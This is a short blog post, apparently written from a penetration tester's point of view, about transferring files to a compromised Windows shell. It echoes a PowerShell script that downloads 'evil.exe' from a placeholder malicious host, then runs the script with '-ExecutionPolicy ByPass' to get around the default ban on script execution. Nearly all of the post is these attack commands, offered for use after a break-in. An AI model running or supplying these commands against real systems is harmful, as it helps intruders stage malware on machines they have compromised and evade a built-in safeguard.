PowerShell Download Script

    I've spent a number of years bouncing back and forth between *nix machines and Windows machines.  But after the 90's, Windows really took hold and I've spent more hours on Windows than anything else and yet when I get a shell on a Windows machine, I feel like I have less control.  Scratch that, I HAVE less control but I can get what I want from outside of the box through PowerShell.

    At the command line, I can echo commands into a script:

    echo $url = "http://www.maliciouswebsite.com/evil.exe" > wget.ps1
    echo $output = "$PSScriptRoot\evil.exe" >> wget.ps1
    echo $start_time = Get-Date >> wget.ps1
    echo Invoke-WebRequest -Uri $url -OutFile $output >> wget.ps1
    echo Write-Output "Time taken: $((Get-Date).Subtract($start_time).Seconds) second(s)" >> wget.ps1

    By default, PowerShell is configured to prevent the execution of scripts.  To get around this obstacle, we execute the scripts as follows:

    powershell -ExecutionPolicy ByPass -File wget.ps1

    Now I can pull in any files I want from an outside web server.   

    © 2020 sevenlayers.com